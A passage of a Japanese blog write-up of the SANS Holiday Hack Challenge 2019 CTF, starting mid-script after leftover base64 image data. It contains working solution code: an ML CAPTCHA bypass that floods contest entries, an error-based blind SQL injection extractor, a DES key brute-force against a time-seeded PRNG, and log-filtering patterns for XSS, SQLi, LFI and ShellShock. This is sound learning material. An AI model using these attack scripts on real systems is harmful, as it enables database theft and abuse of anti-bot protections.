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Dr5yNopvn3gGqlmukJAmhjWzYRero0rzBx0nJI5xTkd2u4wGI5WGczrxul3aT4fQYs8sgC9NGtbx/BuDr1M6Dq+5lT+spfL9yoLYwcmjMkO7l3lq5dsCS8/+dAtmZOfZ8qBmfC4vidbqiIVN5UnAn8X4Exq4G0okZEGzDpuuhQ3Ne2jcSJ08oH1rupq6qoYvVxY3dPQyeRfnMpfdjO+4w3/ljM3t71Me5SxBBQiqKf/zmFb7t5pP36gz6yI7B9MZoLViczATWaunoyPDbXa8lwCMtNBcHQpAcpdzc1KY5FViDu0qwA7C083U2an9IFerp/KnXy8l8t1VSC8bdN4ggljDCjAF7+8xfZ6wr535Xl21V7T0p+dkn1XdWS2CpYtVUK/ikB1sug2M1fvSosA1YkTxDmknoNuLDma+DiVx4Sr741+FTdJTWXCXtOOvabddVO5frTj5GIRtqjI2FpmLb/KKM6vVeyaE92nrln6raLijMXKNm6bt/0e6FteBphONJxLJcdcIWlSL/Y5VaDnBmSFD7Dka8433sRqvh9pwzU9ZTrXrWt6+sXVPfnMVK7Xld4W3rZp81jGzF1lxQBay8V/tXG2X/Gy0tupVeDY0ts+ZaDbL9EyxF1sc0XaXZ3c76o8tsAgEgmLZaBfGb1MWN1VVveiu66C3dav7JKl0r6894z77ouOnr7nx3cU9qa3fbPt037YsuIABfjcxS+QEFg1X9rzfOCkYHbcYsERi5XNzBfk84VpSC1VM5jJYToTXJqyj62zSFRMZ7K1l3Odilzqzb6xdc7fePnPFu4/aNaFoqzsCxdd3/bpPiJZkYAOyycv2pjvWGLv23aEp2I8be2UHL26y6GZsk8wVi0UdHf0TTFsTVeq1V3ZqsrtBjcC31f4gVO2ADuefkB38Yf3FPb7b185FrmrrHhAdxWzU+Vzn7xn9VzJWow1QG9nH3fLdu/FKI/Yy22b6rADo8gUn2X4oow0/JvHPOF5ODJxgO5JrPxd5GU3yylHZXzpg/vZxf/8AAL8wQq2xMfkUSL/C2r0iHsSWD57AAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTAyVDA4OjE1OjAxLTA3OjAwpogU0wAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0wMlQwODoxNTowMS0wNzowMNfVrG8AAAAadEVYdGV4aWY6Qml0c1BlclNhbXBsZQA4LCA4LCA4Eu0+JwAAACF0RVh0ZXhpZjpEYXRlVGltZQAyMDE5OjEwOjAxIDE2OjM4OjA2pSq/pAAAABR0RVh0ZXhpZjpJbWFnZUxlbmd0aAA2MDB41j+AAAAAE3RFWHRleGlmOkltYWdlV2lkdGgANjAwq6ovDQAAABp0RVh0ZXhpZjpTb2Z0d2FyZQBHSU1QIDIuMTAuMTLDM7QtAAAAG3RFWHRpY2M6Y29weXJpZ2h0AFB1YmxpYyBEb21haW62kTFbAAAAInRFWHRpY2M6ZGVzY3JpcHRpb24AR0lNUCBidWlsdC1pbiBzUkdCTGdBEwAAABV0RVh0aWNjOm1hbnVmYWN0dXJlcgBHSU1QTJ6QygAAAA50RVh0aWNjOm1vZGVsAHNSR0JbYElDAAAAAElFTkSuQmCC', 'uuid': 'b177d2d0-e584-11e9-97c1-309c23aaf0ac'}
    # warmup
    predict_image(queue.Queue(), dummy_img, [], sess, graph, labels, input_operation, output_operation)

    # Creating a session to handle cookies
    s = requests.Session()
    url = "https://fridosleigh.com/"

    json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text)
    b64_images = json_resp['images']                    # A list of dictionaries eaching containing the keys 'base64' and 'uuid'
    challenge_image_type = json_resp['select_type'].split(',')     # The Image types the CAPTEHA Challenge is looking for.
    challenge_image_types = [challenge_image_type[0].strip(), challenge_image_type[1].strip(), challenge_image_type[2].replace(' and ','').strip()] # cleaning and formatting

    # Can use queues and threading to spead up the processing
    q = queue.Queue()

    #Going to interate over each of our images.
    for img in b64_images:
        # We don't want to process too many images at once. 10 threads max
        while len(threading.enumerate()) > 10:
            time.sleep(0.0001)
        threading.Thread(target=predict_image, args=(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation)).start()

    print('Waiting For Threads to Finish...')
    while threading.active_count() > 1:
        #print(threading.active_count())
        time.sleep(0.0001)

    # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
    select_images = [q.get() for x in range(q.qsize())]
    final_answer = ','.join( [ img['uuid'] for img in select_images ] )
    
    json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text)
    if not json_resp['request']:
        # If it fails just run again. ML might get one wrong occasionally
        print('FAILED MACHINE LEARNING GUESS')
        print('--------------------\nOur ML Guess:\n--------------------\n{}'.format(final_answer))
        print('--------------------\nServer Response:\n--------------------\n{}'.format(json_resp['data']))
        sys.exit(1)

    print('CAPTEHA Solved!')
    # If we get to here, we are successful and can submit a bunch of entries till we win
    userinfo = {
        'name':'Krampus Hollyfeld',
        'email':yourREALemailAddress,
        'age':180,
        'about':"Cause they're so flippin yummy!",
        'favorites':'thickmints'
    }
    # If we win the once-per minute drawing, it will tell us we were emailed. 
    # Should be no more than 200 times before we win. If more, somethings wrong.
    entry_response = ''
    entry_count = 1
    while yourREALemailAddress not in entry_response and entry_count < 200:
        print('Submitting lots of entries until we win the contest! Entry #{}'.format(entry_count))
        entry_response = s.post("{}api/entry".format(url), data=userinfo).text
        entry_count += 1
    print(entry_response)


if __name__ == "__main__":
    main()

初回の判定で時間がかかるため、CAPTCHA画像の取得前に、#warmup処理を入れた。

また、CPU実行では5秒以内にクリアできなかったため、GPU実行するためにtensorflow_gpuとCUDAを使用した。パラメータやプログラムをチューニングすればCPU実行でもクリアできたかもしれないが、力で押してしまった。

(venv) D:\Develop\CTF\Contest\SANS2019>python capteha_api.py
WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.set_verbosity is deprecated. Please use tf.compat.v1.logging.set_verbosity instead.

WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.ERROR is deprecated. Please use tf.compat.v1.logging.ERROR instead.

bc4876c3-e584-11e9-97c1-309c23aaf0ac Ornaments
c8534506-e584-11e9-97c1-309c23aaf0ac Stockings
db4d2d18-e584-11e9-97c1-309c23aaf0ac Ornaments
efe57aca-e584-11e9-97c1-309c23aaf0ac Ornaments
28d30603-e585-11e9-97c1-309c23aaf0ac Stockings
3b8d0ffd-e585-11e9-97c1-309c23aaf0ac Christmas Trees
4239c700-e585-11e9-97c1-309c23aaf0ac Stockings
6b6c4b1f-e585-11e9-97c1-309c23aaf0ac Stockings
7b0948d3-e585-11e9-97c1-309c23aaf0ac Ornaments
a73111a4-e585-11e9-97c1-309c23aaf0ac Christmas Trees
77038979-e586-11e9-97c1-309c23aaf0ac Ornaments
7ae2ec20-e586-11e9-97c1-309c23aaf0ac Christmas Trees
b53a83cc-e586-11e9-97c1-309c23aaf0ac Ornaments
c0b9ab01-e586-11e9-97c1-309c23aaf0ac Christmas Trees
a20bf50e-e586-11e9-97c1-309c23aaf0ac Christmas Trees
27d6c159-e587-11e9-97c1-309c23aaf0ac Christmas Trees
29347cd2-e587-11e9-97c1-309c23aaf0ac Christmas Trees
294e44c4-e587-11e9-97c1-309c23aaf0ac Stockings
91dfe747-e587-11e9-97c1-309c23aaf0ac Stockings
Waiting For Threads to Finish...
48ef0285-e588-11e9-97c1-309c23aaf0ac Stockings
CAPTEHA Solved!
Submitting lots of entries until we win the contest! Entry #1
Submitting lots of entries until we win the contest! Entry #2
(snip)
Submitting lots of entries until we win the contest! Entry #101
Submitting lots of entries until we win the contest! Entry #102
{"data":"<h2 id=\"result_header\"> Entries for email address <mailaddress> no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}

クリアするとEメールを受信した。

f:id:graneed:20191231105259p:plain

answer: 8Ia8LiZEwvyZr2WO

9) Retrieve Scraps of Paper from Server

Error-Based Blind SQL Injectionを使用してサイト上からレコードを窃取し、得られたURLのパスから画像ファイルを集めた。

テーブル名、カラム名を特定してからレコードを取得する。プログラムは以下のとおり。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'https://studentportal.elfu.org/application-check.php'
URL_V = "https://studentportal.elfu.org/validator.php"
target = ""

def challenge(offset, guess):
    threshold = 1

    req = requests.get(
        URL_V
    )
    token = req.text

    start = time.time()
    req = requests.get(
        URL,
        params={
            #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: applications,krampus,students

            #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='krampus'), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: id,path

            "elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(path) from krampus), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: /krampus/0f5f510e.png,/krampus/1cc7e121.png,/krampus/439f15e6.png,/krampus/667d6896.png,/krampus/adb798ca.png,/krampus/ba417715.png

            "token": token
        }
    )
    elapsed_time = time.time() - start

    if "Error" in req.text:
        return True
    else:
        return False

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

f:id:graneed:20191231172932p:plain

answer: Super Sled-o-matic

10) Recover Cleartext Document

暗号化ツールで暗号化されたファイルを復号する問題。

まずは暗号化ツールの仕様と挙動を確認する。

--insecureオプションでHTTP通信にしてWireSharkで観察しながら実行すると、 キーをローカルで生成してから、サーバに送信し、サーバ側でsecret idを払い出していることがわかる。

(venv) D:\Develop\CTF\Contest\SANS2019\q10>elfscrow.exe --insecure --encrypt test.txt test.txt.enc
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Our miniature elves are putting together random bits for your secret key!

Seed = 1577829922

Generated an encryption key: 0a875607c97060d3 (length: 8)

Elfscrowing your key...

Elfscrowing the key to: elfscrow.elfu.org/api/store

Your secret id is 65d62b04-b20b-4a36-9328-c9ea5625a547 - Santa Says, don't share that key with anybody!
File successfully encrypted!

    ++=====================++
    ||                     ||
    ||      ELF-SCROW      ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||     O               ||
    ||     |               ||
    ||     |   (O)-        ||
    ||     |               ||
    ||     |               ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ++=====================++

復号の際には、secret idをサーバに送信して、サーバに保存されているキーを取得して復号しているようだ。

(venv) D:\Develop\CTF\Contest\SANS2019\q8>elfscrow.exe --insecure --decrypt --id=65d62b04-b20b-4a36-9328-c9ea5625a547 test.txt.enc test.txt.dec
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Let's see if we can find your key...

Retrieving the key from: /api/retrieve

We found your key!
File successfully decrypted!

  +----------------------+
  |\                    /\
  | \ ________________ / |\
  |  |                |  | \
  |  | +------------+ |  |  \
  |  | |\          /| |  |   \
  |  | | \        / | |  |    \
  |  | |  \      /  | |  |     \
  |  | |   \    /   | |  |     |
  |  | |    \  /    | |  |     |
  |  | |     \/     | |  |     |
  |  | |            | |  |     |
  |  | |            | |  |     |
  |  |_|   SECRET   |_|  |     |
  | /  +------------+  \ |     |
  |/                    \|     |
  +----------------------\     |
                          \    |
                           \   |
                            \  |
                             \ |
                              \|
                               |

ターゲットとなるファイルを復号するキーを得るためのsecret idをサーバから取得するのは厳しそうである。

暗号化を実行した際のSeed = 1577829922の出力に注目する。これは明らかにUnixtimeであり、キーの生成にあたりUnixtimeを使用していることを示唆している。また、問題のヒントとしてWe know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.という情報が与えられている。

つまり、キーの生成処理を解析し、何らかのSeed値として使用されているUnixtimeについては2時間の範囲を総当たりすれば、キーを特定できると推測できる。

Ghidraでデコンパイルして、キーの生成処理を確認する。

f:id:graneed:20200101071912p:plain

f:id:graneed:20200101071940p:plain

推測通り、現在時間のUnixtimeを元にキーを生成している。乱数は使用しておらず、Unixtimeの値をそのまま使用して計算およびbit演算をしている。

このキー生成ロジックをPythonに移植した上で、2時間の範囲を総当たりするプログラムを作る。暗号化方式はDES_CBCで、ivは無指定であったので0x00で埋めた。 復号結果のファイルはPDFであることがわかっているため、PDFファイルのマジックナンバーである%PDFが含まれているかどうかをチェックした。

from datetime import datetime, timezone
from Crypto.Cipher import DES

ENCRYPT_FILE_PATH = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc'
DECRYPT_DIR_PATH = './output/'

#int __cdecl super_secure_random(void)
#{
#  DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3;
#  return DAT_0040602c >> 0x10 & 0x7fff;
#}
DAT_0040602c = 0
def super_secure_random():
    global DAT_0040602c
    DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3
    return DAT_0040602c >> 0x10 & 0x7fff

#  i = 0;
#  while (i < 8) {
#    iVar2 = super_secure_random();
#    buffer[i] = (uchar)iVar2;
#    i = i + 1;
#  }
def genKey(seed):
    global DAT_0040602c
    DAT_0040602c = seed
    key = bytearray()
    for i in range(8):
        iVar2 = super_secure_random()
        key.append((iVar2 & 0x000000ff))
    return bytes(key)

unpad = lambda s : s[0:-s[-1]]
def decrypt(encrypt_data, key):
    #print(encrypt_data[:DES.block_size])
    #cipher = DES.new(key, DES.MODE_CBC, encrypt_data[:DES.block_size])
    cipher = DES.new(key, DES.MODE_CBC, "\x00\x00\x00\x00\x00\x00\x00\x00")
    try:
        return unpad(cipher.decrypt(encrypt_data))
    except KeyboardInterrupt:
        raise
    except:
        pass

def main():
    with open(ENCRYPT_FILE_PATH, "rb") as encrypt_file:
        encrypt_data = encrypt_file.read()

        # We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
        from_time = int(datetime(2019,12,6,19,tzinfo=timezone.utc).timestamp())
        to_time = int(datetime(2019,12,6,21,tzinfo=timezone.utc).timestamp())

        for seed in range(from_time, to_time):
            key = genKey(seed)
            decrypt_data = decrypt(encrypt_data, key)
            if decrypt_data is not None and b"%PDF" in decrypt_data:
                with open(DECRYPT_DIR_PATH + str(seed) + ".pdf", 'wb') as decrypt_file:
                    print("[+] decrypt: " + DECRYPT_DIR_PATH + str(seed) + ".pdf")
                    decrypt_file.write(decrypt_data)

if __name__ == "__main__":
    main()

実行すると3つのファイルが生成され、うち1つのファイルを正しくArobat Readerで表示することができた。

f:id:graneed:20200112190101p:plain

answer: Machine Learning Sleigh Route Finder

11) Open the Sleigh Shop Door

Web画面の中から鍵を開くためのコードを集める問題。鍵は全部で10個。 ヒントにしたがって、Web画面のJavaScript/DOM/CSSの属性や値を表示したり操作したりすると、コードが得られる。

大半のコードは表示するたびに値が変わるため、やり直すときには再度最初から確認していく必要がある。 JavaScriptでコードを生成しているようだが、難読化されているため、それを読み解くよりは正攻法で解く方が早そうだ。

1

開発者コンソールにそのまま表示されている。

f:id:graneed:20200112190659p:plain

2

CSSのmedia typeが印刷用の場合にのみ表示されるため、印刷プレビュー画面から確認する。 f:id:graneed:20200101073059p:plain

3

ネットワークキャプチャを確認すると、定期的に以下のURLにアクセスしている。
https://crate.elfu.org/images/a5097628-75cd-48d4-90c1-c43abdba7991.png

f:id:graneed:20200112220245p:plain

4

ローカルストレージに格納されている。

f:id:graneed:20200101104800p:plain

5

document.titleの後ろの方にセットされているため、コンソールでdocument.titleを実行して確認する。

f:id:graneed:20200101104835p:plain

6

ホログラムのカードに適用されているスタイルのperspectiveの値を巨大にすると表示される。

f:id:graneed:20200101082025p:plain

7

問題文のフォント名を確認する。

f:id:graneed:20200101081845p:plain

8

問題文でハイライトされているeggsのイベントリスナーを確認する。

f:id:graneed:20200101082449p:plain

9

問題文の中でspanタグでclassがchakraとなっている部分の状態を強制的にactiveにすると表示される。

Triggering of pseudo classes  |  Web  |  Google Developers

f:id:graneed:20200101103850p:plain

f:id:graneed:20200101082921p:plain

10

鍵の装置のカバー画像のdiv要素をdrag & dropで移動すると、基盤がむき出しになる。

f:id:graneed:20200101110026p:plain

基盤の右下にコードが書いてあるが、それをそのまま入力しても、コンソールでエラーメッセージが表示される。

f:id:graneed:20200101103212p:plain

Error: Missing macaroni!

ソースコード内をmacaroniで検索すると、classがcomponent macaroniのdiv要素を発見する。 drag&dropで鍵の装置のdiv要素の子に移動し、再度コードを入力すると、次のエラーメッセージが表示される。 同じ要領で、swab、gnomeも移動する。

f:id:graneed:20200101105815p:plain

f:id:graneed:20200101105658p:plain

10個の鍵を開けると答えが表示された。

answer: The Tooth Fairy

高速化

クリアはできたものの、画面を表示してからクリアするまでの時間が計測されているようで、3分以内を目指すようメッセージが表示された。 10個の鍵のうち、簡単にJavaScriptでコード値を設定可能な部分だけ対応して半自動化し、3分を切ってみた。

// 4
document.getElementsByTagName("input")[3].value = localStorage.getItem("🛢️🛢️🛢️")
// 5
document.getElementsByTagName("input")[4].value = document.title.substr(-8)
// 8
document.getElementsByTagName("input")[7].value = "VERONICA"
// 10
document.getElementsByTagName("input")[9].value = "KD29XJ37"
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component macaroni")[0])
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component swab")[0])
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component gnome")[0])
document.getElementsByClassName("locks")[0].appendChild(document.getElementsByClassName("cover")[0])

f:id:graneed:20200101114910p:plain

ただ、次は5秒以内を目指せとメッセージが表示された。諦めた。

12) Filter Out Poisoned Sources of Weather Data

JSON形式のWebサーバのアクセスログを分析し、不正なデータをリクエストしてくるIPアドレスを管理画面からブラックリストに登録する問題。

ただ、管理画面へログインするクレデンシャル情報もない状態からスタート。

Step1. ログイン

ステータスコードが200のログを抽出し、有効なURLをリストアップする。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat http.log | jq '(.[] | select (.status_code==200)) | .uri' | sed 's/"//g' | sed 's/\?.*//' | sort | uniq > status_200.txt
root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat status_200.txt
/
/alert.html
/apidocs.pdf
/api/firewall
/api/login
/api/measurements
/api/stations
/api/weather
/css/alt.css
/css/freelancer.min.css
/css/main.css
/css/weathermap.css
/home.html
/img/badweather.png
/img/goodweather.png
/img/logo_zoomed2.PNG
/index.html
/js/CustomEase.js
/js/freelancer.min.js
/js/ipaddr.js
/js/library-g.js
/js/Morph.js
/js/weathermap.js
/logout
/map.html
/README.md
/santa.html
/vendor/bootstrap/js/bootstrap.bundle.min.js
/vendor/fontawesome-free/css/all.min.css
/vendor/fontawesome-free/webfonts/fa-solid-900.woff2
/vendor/jquery-easing/jquery.easing.min.js
/vendor/jquery/jquery.min.js

README.mdが怪しい。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# curl https://srf.elfu.org/README.md
# Sled-O-Matic - Sleigh Route Finder Web API

### Installation

 ```
sudo apt install python3-pip
sudo python3 -m pip install -r requirements.txt
 ```

#### Running:

`python3 ./srfweb.py`

#### Logging in:

You can login using the default admin pass:

`admin 924158F9522B3744F5FCD4D10FAC4356`

However, it's recommended to change this in the sqlite db to something custom.

デフォルトのクレデンシャル情報を入手できた。入力するとログインに成功した。

Step2. ブラックリスト作成

エルフの情報から、攻撃パターンはXSS、SQLi、LFI、ShellShockの4種類であることがわかる。

ログを眺めると、確かにそれっぽい攻撃データが散見される。 host、uri、user_agent、usernameにセットされているようなので、それらに攻撃データをセットしているIPアドレスブラックリストにいれる。

ただ、それだけでは足りなかった。 エルフの情報から、更に横展開して確認するようヒントがあったため、攻撃データをセットしているログのuser_agentと、同じuser_agentを使用しているログのIPアドレスブラックリストに追加する。それだけでは誤検知してしまうため、件数で閾値を設ける。

jqコマンドでやるのは辛いので、pythonで書く。

import json

def main():
    f = open("http.log", "r")
    logs = json.load(f)

    blacklist_ip = []
    blacklist_ua = []

    for record in logs:
        for column in ["host","uri","user_agent","username"]:
            for check in ["<script>","' ","./","/etc/passwd", "/bin/", ":;"]:
                if check in record[column]:
                    blacklist_ip.append(record["id.orig_h"])
                    blacklist_ua.append(record["user_agent"])
    blacklist_ip = list(set(blacklist_ip))
    blacklist_ua = list(set(blacklist_ua))
    print("[+] blacklist_ip size: " + str(len(blacklist_ip)))

    blacklist_ua_counts = {}
    for record in logs:
        for ua in blacklist_ua:
            if ua == record["user_agent"]:
                blacklist_ua_counts[ua] = blacklist_ua_counts[ua] + 1 if ua in blacklist_ua_counts else 1

    threshold = 2
    print(blacklist_ua_counts)
    for k, v in blacklist_ua_counts.items():
        if v > threshold:
            blacklist_ua.remove(k)

    for record in logs:
        for ua in blacklist_ua:
            if ua == record["user_agent"]:
                blacklist_ip.append(record["id.orig_h"])
    blacklist_ip = list(set(blacklist_ip))
    print("[+] blacklist_ip size: " + str(len(blacklist_ip)))

    for ip in blacklist_ip:
        print(ip+",", end="")

if __name__=='__main__':
    main()

得られたIPアドレスリストをブラックリストとして登録すると、答えが得られた。

answer: 0807198508261964

最後の部屋に到達し、キャラクター全員に話しかけるとスタッフロールが流れてクリア。

f:id:graneed:20200102005216p:plain

f:id:graneed:20200102005423p:plain

所感

昨年も感じたが、とにかく問題のバリエーションやテーマが多岐にわたっていて、チャレンジしていてワクワクする問題が多い。さすがSANS。

今年の目玉の問題は、splunkと機械学習だろう。どちらも、触ったことが無い人が初めて触るのにちょうどいい難易度だと思う。 あと、実はGhidraを触るのは今回が初だったりもする。良いきっかけを与えてくれた。

いずれにしても、無料でここまで勉強させてもらえるコンテンツは中々無い。次回も楽しみである。